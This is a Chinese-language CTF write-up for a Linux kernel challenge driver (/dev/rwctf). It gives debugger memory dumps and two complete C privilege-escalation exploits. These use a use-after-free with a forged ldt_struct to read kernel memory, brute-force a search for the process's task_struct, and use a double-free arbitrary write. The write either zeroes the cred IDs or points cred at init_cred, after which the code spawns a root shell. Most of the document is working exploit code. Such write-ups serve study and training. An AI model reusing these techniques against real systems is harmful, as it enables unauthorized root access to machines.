# exp4 - ldt_struct + cred

ldt_struct+uaf 篡改 entries 可以在堆上进行暴力搜索 找到 task_struct 然后就能根据指针找到 cred 后 aaw 了
cred 搜出来大概这样
这里 0x3e8 就是 xxid 0x28 个字节全改成 0 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/40gx 0xffff888003f3ec00
0xffff888003f3ec00: 0x000003e800000005 0x000003e8000003e8
0xffff888003f3ec10: 0x000003e8000003e8 0x000003e8000003e8
0xffff888003f3ec20: 0x00000000000003e8 0x0000000000000000
0xffff888003f3ec30: 0x0000000000000000 0x0000000000000000
0xffff888003f3ec40: 0x000001ffffffffff 0x0000000000000000
0xffff888003f3ec50: 0x0000000000000000 0x0000000000000000
0xffff888003f3ec60: 0x0000000000000000 0x0000000000000000
0xffff888003f3ec70: 0x0000000000000000 0xffff888003f843c0
0xffff888003f3ec80: 0xffff888003f95c00 0xffffffff8284f040
0xffff888003f3ec90: 0xffff888003f92180 0xffff888003f011e0
0xffff888003f3eca0: 0x0000000000000000 0x0000000000000000
0xffff888003f3ecb0: 0x0000000000000000 0x0000000000000000

断点到 getuid
两次 rax 取指后查看

1
2
3
4
5
6
7
8
0c:00600xffff888003f43f60 ◂— push rcx /* 0x5100000051; 'Q' */         <<- 当前的pid

······

44:02200xffff888003f44120 —▸ 0xffff888003ffd300 /* 0x3e80000000/ <<- 要改写的cred地址
45:0228│ 0xffff888003f44128 —▸ 0xffff888003ffd300 /* 0x3e80000000/ <<- 0x3e8是 1000
46:0230│ 0xffff888003f44130 ◂— 0
47:0238│ 0xffff888003f44138 ◂— jae 0xffff888003f441ab /* 0x6c65727269757173; 'squirrel1234'/

这是内存页的限制

1
2
3
4
5
pwndbg> x/30gx 0xffff888008000000
0xffff888008000000: Cannot access memory at address 0xffff888008000000

pwndbg> x/30gx 0xffff888007a00000
0xffff888007a00000: 0x0000000000001000 0xffffea0000000008

但是这题我遇到了一个巨坑
首先由于有 df + 劫持 next 可以构造一个不那么稳定的 aaw ()(由于高版本 freelist 位置的缘故很难直接申请到 null 的位置 需要提前申请结构体然后释放用于恢复 freelist)

这里我劫持 ldt 泄漏出 cred 的时候 大量喷射 keys 再 aaw 再释放 理想很丰满 但是喷 keys 之后 cred 会换个位置 这就很离谱 不过解决办法也很简单 提前喷好 ldt 暴搜完之后就别寄吧再申请内存了(严重怀疑大量申请内存后会导致 cred 的迁移

  • 准备 keys
  • ldt 碰撞出 dma 基址
  • ldt + uaf 实现 aar 扫描 dma 获取 task_struct 地址 从而获取 cred 地址
  • double free => aaw 篡改 cred
  • 恢复 freelist 后提个权

# exp - 修改 cred 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>
#include <sys/socket.h>

#include<malloc.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define ADDR cRED "0x%lx" cRST
u64 kbase, kdma;

typedef struct {
u32 idx;
u32 siz;
u8 *ptr;
} Req;

void xnew(u32 idx, u32 size, u8 *buf){
Req r = {
.idx = idx,
.siz = size,
.ptr = buf
};
if(ioctl(devfd, 0xDEADBEEF, &r) < 0) {}
}

int xfree(u32 idx){
Req r = {
.idx = idx
};
if(ioctl(devfd, 0xC0DECAFE, &r) < 0) {}
}

#include <keyutils.h>

int key_alloc(char* description, char* payload, int plen) {
return syscall(
__NR_add_key,
"user",
description,
payload,
plen,
KEY_SPEC_PROCESS_KEYRING
);
}

int key_revoke(int key_id) {
return syscall(
__NR_keyctl,
KEYCTL_REVOKE,
key_id,
0,
0,
0
);
}


#define KEY_SPRAY_COUNT 0x100

int keyids[2][KEY_SPRAY_COUNT];

void spray_keys(u64 idx) {

u8 descbuf[0x30];
u8 keybuf[0x20];

range(i, KEY_SPRAY_COUNT, {
sprintf(descbuf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%d ", i);
keyids[idx][i] = key_alloc(descbuf, keybuf, 0x28); /* 0x28 and 0x40 both in kmalloc-64 */
});
}

void release_keys(u64 idx) {
range(i, KEY_SPRAY_COUNT, {key_revoke(keyids[idx][i]);});
}

const char *devname = "/dev/rwctf";

void show(u8 *buf, u64 len) {
u64 *p = (u64 *)buf;

range(i, (len/8), {
if((p[i] & 0xfffffff000000000) == 0xffff888000000000)
ok(ADDR " in idx %d", p[i], i);
});
}

u8 buf[0x100];
u8 tmp[0x20];

void aaw(u64 addr, u8 *payload, u64 size/* by bytes */, u64 flidx) {

u8 tmp[0x100];
memcpy(tmp, payload, size);

act("aaw to " ADDR " with 0x%lx size", addr, size);
xnew(0, size, tmp);
xfree(0);
xfree(0);


*((u64 *)tmp + flidx) = addr;

xnew(0, size, tmp); /* freelist still point to chunk */
xnew(0, size, tmp); /* freelist point to addr now */
xnew(0, size, payload); /* alloc at addr with value content of buf */
}

void write_ldt(struct user_desc *udp) {
if(syscall(SYS_modify_ldt, 1, udp, sizeof(*udp)) < 0)
panic("write_ldt");
}

i32 read_ldt(u8 *buf, u64 size) {
return syscall(SYS_modify_ldt, 0, buf, size);
}

struct my_ldt_struct {
u64 entries;
u32 nr_entries;
i32 slot;
};

const char *name = "squirrel1234";

void set_prname() {

if (prctl(PR_SET_NAME, name) != 0)
panic("prctl");

}

int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

act("try to spray keys for freelist restore...");

spray_keys(0);
spray_keys(1);

ok("my uid is 0x%x", getuid());

struct user_desc udesc;
memset((u8 *)&udesc, '\x00', sizeof(udesc));
udesc.entry_number = 0x1999; /* below than LDT_ENTRIES */

xnew(0, 0x10, tmp);
xfree(0);

write_ldt(&udesc);/* allocate the uaf'd chunk */

u64 search_start_addr = 0xffff888000000000; /* kdma */

struct my_ldt_struct mls = {
.entries = search_start_addr,
.nr_entries = 0x1000,
};

act("try to searching kdma...");

while(0x0d000721) {

xfree(0);
xnew(0, 0x10, (u8 *)&mls); /* evil write ldt_struct */
u64 __tmp;
if(read_ldt((u8 *)&__tmp, 8) >= 0) /* hit, return negval if src is invalid addr */
break;

search_start_addr += 0x1000000;/* standard is 0x100000, but it's so slow */
mls.entries = search_start_addr;
}

kdma = search_start_addr;
ok("kdma at " cRED "0x%lx" cRST, kdma);

set_prname();

act("try to searching task_struct...");

u64 cred_addr = 0;

pid_t cur_pid = getpid();
#define SEARCH_INCREASEMENT 0x8000
u64 *buffer = (u64 *) mmap(NULL, SEARCH_INCREASEMENT, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

u32 counter = 0x7d00000 / SEARCH_INCREASEMENT; /* avoid max limit */
while(counter--) {

mls.entries = search_start_addr;
xfree(0);
xnew(0, 0x10, (u8 *)&mls);
int pid;

read_ldt((u8 *)buffer, SEARCH_INCREASEMENT);

for(int i = 0; i < SEARCH_INCREASEMENT; i += 0x1000) {

u64 *prname_found_at = 0;
u64 maybe_cred_addr = 0;

u64 *__bp = (u64 *)((u64)buffer + i);

if ((prname_found_at = memmem(__bp, 0x1000, name, 12)) != NULL) {

maybe_cred_addr = prname_found_at[-2];
ok("prname found at " ADDR " maybe cred addr at " ADDR, search_start_addr + i + (u64)((u64)prname_found_at - (u64)__bp), maybe_cred_addr);
// show((u8 *)(__bp), __num);

if((prname_found_at[-2] > 0xffff888000000000) && /* cred */
(prname_found_at[-3] > 0xffff888000000000) && /* real_cred */
(((pid_t) prname_found_at[-59]) == cur_pid)) /* pid */
{

ok("hit cred with pid %d and prname %s", (pid_t) prname_found_at[-59], (char *)prname_found_at);
ok("search addr at " ADDR, search_start_addr + i);

cred_addr = prname_found_at[-2];

dbg("\n\tprname_found_at[-2] is " ADDR
"\n\tprname_found_at[-3] is " ADDR
"\n\tprname_found_at[-4] is " ADDR
"\n\tprname_found_at[-60] is " ADDR
"\n\tprname_found_at[-58] is " ADDR,
prname_found_at[-2],
prname_found_at[-3],
prname_found_at[-4],
prname_found_at[-60],
prname_found_at[-58]
);
}
}
}

search_start_addr += SEARCH_INCREASEMENT;
// act("searching " ADDR, search_start_addr);
}

ok("search_start_addr end at " ADDR, search_start_addr);

#define PAYLOAD_SIZE 0x28
u8 payload[PAYLOAD_SIZE];bzero(payload, PAYLOAD_SIZE);
*(u32 *)payload = 2;

aaw(cred_addr, payload, PAYLOAD_SIZE, 4);/* kmalloc-64 */

act("restoring freelist...");
release_keys(0);
release_keys(1);

if(getuid() == 0) {
ok("root now");
system("/bin/sh");
}else {
fatal("escalation failed");
}

return 0;
}

# exp - 直接修改 cred 指针

既然堆喷 key 会迁移我们的 cred 那么规避办法很简单 我们直接改掉 task 中的 cred 指针和 real_cred 指向 init_cred

令人满意的是 task_struct 中 cred 和 comm 之间正好有 cached_requested_key 域为 0 又恰巧的是 如果 real_cred 作为起始地址申请 0x20 的 chunk 这个地方正好是 freelist 的指针的存放位置 所以不需要恢复 freelist 了

df => aaw
uaf + ldt_struct => aar
ldt_struct 暴搜 => kdma + task_struct addr
kdma + aar => kbase
kbase => init_cred
aaw + task_struct with init_cred => 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>
#include <sys/socket.h>

#include<malloc.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define ADDR cRED "0x%lx" cRST
u64 kbase, kdma;

u64 init_cred = 0x1850580;

typedef struct {
u32 idx;
u32 siz;
u8 *ptr;
} Req;

void xnew(u32 idx, u32 size, u8 *buf){
Req r = {
.idx = idx,
.siz = size,
.ptr = buf
};
if(ioctl(devfd, 0xDEADBEEF, &r) < 0) {}
}

int xfree(u32 idx){
Req r = {
.idx = idx
};
if(ioctl(devfd, 0xC0DECAFE, &r) < 0) {}
}


const char *devname = "/dev/rwctf";

void show(u8 *buf, u64 len) {
u64 *p = (u64 *)buf;

range(i, (len/8), {
if((p[i] & 0xfffffff000000000) == 0xffff888000000000)
ok(ADDR " in idx %d", p[i], i);
});
}

u8 buf[0x100];
u8 tmp[0x20];


void write_ldt(struct user_desc *udp) {
if(syscall(SYS_modify_ldt, 1, udp, sizeof(*udp)) < 0)
panic("write_ldt");
}

i32 read_ldt(u8 *buf, u64 size) {
return syscall(SYS_modify_ldt, 0, buf, size);
}

struct my_ldt_struct {
u64 entries;
u32 nr_entries;
i32 slot;
};

void aaw(u64 addr, u8 *payload, u64 size/* by bytes */, u64 flidx) {

u8 tmp[0x100];
memcpy(tmp, payload, size);

act("aaw to " ADDR " with 0x%lx size", addr, size);
xnew(0, size, tmp);
xfree(0);
xfree(0);


*((u64 *)tmp + flidx) = addr;

xnew(0, size, tmp); /* freelist still point to chunk */
xnew(0, size, tmp); /* freelist point to addr now */
xnew(0, size, payload); /* alloc at addr with value content of buf */
}

u64 aar(u64 addr) {

u64 result = 0;

struct user_desc udesc;
memset((u8 *)&udesc, '\x00', sizeof(udesc));
udesc.entry_number = 0x1999; /* below than LDT_ENTRIES */

xnew(1, 0x10, tmp);
xfree(1);

write_ldt(&udesc);

struct my_ldt_struct mls = {
.entries = addr,
.nr_entries = 1,
};

xfree(1);
xnew(1, 0x10, (u8 *)&mls);

if(read_ldt((u8 *)&result, 8) < 0)
panic("read_ldt");

assert_neq(result, 0);

return result;
}

const char *name = "squirrel1234";

void set_prname() {

if (prctl(PR_SET_NAME, name) != 0)
panic("prctl");

}

int main(int argc, char const *argv[])
{
save_state();
open_dev(devname, O_RDONLY);

ok("my uid is 0x%x", getuid());

struct user_desc udesc;
memset((u8 *)&udesc, '\x00', sizeof(udesc));
udesc.entry_number = 0x1999; /* below than LDT_ENTRIES */

xnew(0, 0x10, tmp);
xfree(0);

write_ldt(&udesc);/* allocate the uaf'd chunk */

u64 search_start_addr = 0xffff888000000000; /* kdma */

struct my_ldt_struct mls = {
.entries = search_start_addr,
.nr_entries = 0x1000,
};

act("try to searching kdma...");

while(0x0d000721) {

xfree(0);
xnew(0, 0x10, (u8 *)&mls); /* evil write ldt_struct */
u64 __tmp;
if(read_ldt((u8 *)&__tmp, 8) >= 0) /* hit, return negval if src is invalid addr */
break;

search_start_addr += 0x1000000;/* standard is 0x100000, but it's so slow */
mls.entries = search_start_addr;
}

kdma = search_start_addr;
ok("kdma at " cRED "0x%lx" cRST, kdma);

set_prname();

act("try to searching task_struct...");

u64 cred_addr = 0;
u64 cred_field_addr = 0;

pid_t cur_pid = getpid();
#define SEARCH_INCREASEMENT 0x8000
u64 *buffer = (u64 *) mmap(NULL, SEARCH_INCREASEMENT, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

u32 counter = 0x7d00000 / SEARCH_INCREASEMENT; /* avoid max limit */
while(counter--) {

mls.entries = search_start_addr;
xfree(0);
xnew(0, 0x10, (u8 *)&mls);
int pid;

read_ldt((u8 *)buffer, SEARCH_INCREASEMENT);

for(int i = 0; i < SEARCH_INCREASEMENT; i += 0x1000) {

u64 *prname_found_at = 0;
u64 maybe_cred_uaddr = 0;
u64 maybe_cred_kaddr = 0;

u64 *__bp = (u64 *)((u64)buffer + i);

if ((prname_found_at = memmem(__bp, 0x1000, name, 12)) != NULL) {

maybe_cred_uaddr = prname_found_at[-2];
maybe_cred_kaddr = search_start_addr + i + (u64)((u64)prname_found_at - (u64)__bp - 0x10);
ok("maybe cred kaddr at " ADDR, maybe_cred_kaddr);
// show((u8 *)(__bp), __num);

if((prname_found_at[-2] > 0xffff888000000000) && /* cred */
(prname_found_at[-3] > 0xffff888000000000) && /* real_cred */
(((pid_t) prname_found_at[-59]) == cur_pid)) /* pid */
{

ok("hit cred with pid %d and prname %s", (pid_t) prname_found_at[-59], (char *)prname_found_at);
ok("search addr at " ADDR, search_start_addr + i);

cred_addr = prname_found_at[-2];
cred_field_addr = maybe_cred_kaddr;
}
}
}

search_start_addr += SEARCH_INCREASEMENT;
// act("searching " ADDR, search_start_addr);
}

ok("search_start_addr end at " ADDR, search_start_addr);


act("try to leak kbase at secondary_startup_64_ofs by AAR...");
kbase = aar(kdma + 0x9d000) - 0x60;
ok("kbase at " ADDR, kbase);

init_cred += kbase;
// getchar();
u64 read_cred_field_addr = cred_field_addr - 8;

#define PAYLOAD_SIZE 0x20
u64 payload[PAYLOAD_SIZE/8];bzero((u8 *)&payload, PAYLOAD_SIZE);
;
/*
real_cred cred
freelist -> null comm
*/
payload[0] = init_cred; /* real cred */
payload[1] = init_cred; /* cred */
payload[2] = 0; /* cached_requested_key */
payload[3] = 0x0d000721; /* comm */

aaw(read_cred_field_addr, (u8 *)payload, PAYLOAD_SIZE, 2);/* kmalloc-32 */

if(getuid() == 0) {
ok("root now");
system("/bin/sh");
}else {
fatal("escalation failed");
}

return 0;
}